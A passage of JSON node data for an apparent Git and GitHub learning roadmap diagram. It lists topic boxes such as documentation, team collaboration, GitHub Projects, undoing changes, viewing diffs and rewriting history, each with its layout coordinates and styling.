\"oldId\": \"i3AbARgzQtxtlB-1AS8zv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1265.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pJ-najh7dXhhYA_0bDiR5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1447.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Contribution Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i3AbARgzQtxtlB-1AS8zv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1447.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D2WIExwfSnkAPIa5O-Hp5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1356.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1356.5489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Ulxl4VUvRSfyCPpi-iv8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1108.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Markdown\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1108.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WIVr7JxO1AJTNObW8mtY3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1160.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Readme\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1161.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lONqOqD-4slxa9B5i9ADX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1212.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Wikis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ddkss13_qDJTquDHbVTVs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1214.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i3AbARgzQtxtlB-1AS8zv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1500.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Clean Git History\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1500.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yMx3LdadPz4g25CL3N8da\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1631.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working in a Team\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1631.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RMrxQLhrINO5g4Mhxh5qS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1020.0316934344742,\n        \"y\": 1773.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Organizations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1020.0316934344742,\n        \"y\": 1773.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_ft-uvXt6s_xrcMT3fbSF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1020.0316934344742,\n        \"y\": 1720.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Collaborators / Members\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1020.0316934344742,\n        \"y\": 1720.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wydgCxR5VnieBpRolXt8i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1020.0316934344742,\n        \"y\": 1826.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Teams within Organization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1020.0316934344742,\n        \"y\": 1826.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DzFJDdqnSy5GeGHWOpcVo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1631.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Projects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1631.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q0zy_hXav5iXw8LpGVJVd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1723.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1723.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RFJgfuxoVxt22QlwLI5mW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1776.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kanban Boards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1776.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sxvT2hGko2PDRBoBrCGWD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1829.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1829.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TNBz5755PhI6iKxTQTqcS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1882.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Automations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1882.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"snWQHCQECZyUXHdn6ppIk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1528\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Discussions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1528\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hes8XQqAvpxWITcbU9tiH\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 501.37604099431985,\n        \"y\": 1630.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Intermediate Git Topics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"C1ai9r31b7HPySw0o9tyT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 501.37604099431985,\n        \"y\": 1630.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"X9K3PBpGsMoXkJsKdJPI7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 519.3760409943199,\n        \"y\": 1519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Stash Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"positionAbsolute\": {\n        \"x\": 519.3760409943199,\n        \"y\": 1519\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 543.8760409943199,\n        \"y\": 1720.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"History\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iFJBF-EEnLjQVsFSXjo_i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.8760409943199,\n        \"y\": 1720.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lXC07j6dOa3rQixY1P-Ob\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1628.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Linear vs Non-Linear\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1628.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V8nLIvddyOKTzEjOJX5GW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1681.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HEAD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1681.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0cLf7FiI9CX--UX45sm2f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1734.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Detached HEAD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1734.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qFEonbCMLri8iA0yONwuf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1787.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git log options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 1787.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0Yi4cryT2v2SGBjouOas3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 518.3760409943199,\n        \"y\": 1980.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Undoing Changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iFJBF-EEnLjQVsFSXjo_i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.3760409943199,\n        \"y\": 1980.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dLr55Om7IOvI53c1DgTKc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 473.37604099431985,\n        \"y\": 1878.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git revert\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 473.37604099431985,\n        \"y\": 1878.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"igrR7LguU1jemg_mf_AD6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 374.37604099431985,\n        \"y\": 1980.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git reset\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 374.37604099431985,\n        \"y\": 1980.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Uc7FyfAKpDFRGRNHwztFo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.03169343447416,\n        \"y\": 1927.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"--soft\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 210.03169343447416,\n        \"y\": 1927.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V_joZNpQsS9G9PI-o-GmC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.03169343447416,\n        \"y\": 1980.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"--hard\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 210.03169343447416,\n        \"y\": 1980.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qis7Z5VRxMcOmbesQlegZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.03169343447416,\n        \"y\": 2033.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"--mixed\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 210.03169343447416,\n        \"y\": 2033.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 792.8760409943199,\n        \"y\": 1980.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Viewing Diffs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iFJBF-EEnLjQVsFSXjo_i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 792.8760409943199,\n        \"y\": 1980.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rwpeltygwzcf6hnuZNURE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 1897.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Between Commits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202\n      },\n      \"positionAbsolute\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 1897.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O-zoAWkDvyn7B8_TmY257\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 1950.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Between Branches\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202\n      },\n      \"positionAbsolute\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 1950.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mzjtCdpke1ayHcEuS-YUS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 2003.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Staged Changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202\n      },\n      \"positionAbsolute\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 2003.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uxqJzQFRcALqatNRIWR0w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 2056.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unstaged Changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1064.5316934344742,\n        \"y\": 2056.7489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 792.8760409943199,\n        \"y\": 2217.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Rewriting History\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iFJBF-EEnLjQVsFSXjo_i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 792.8760409943199,\n        \"y\": 2217.7489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NjPnEXLf1Lt9qzgxccogv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2138.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git commit --amend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        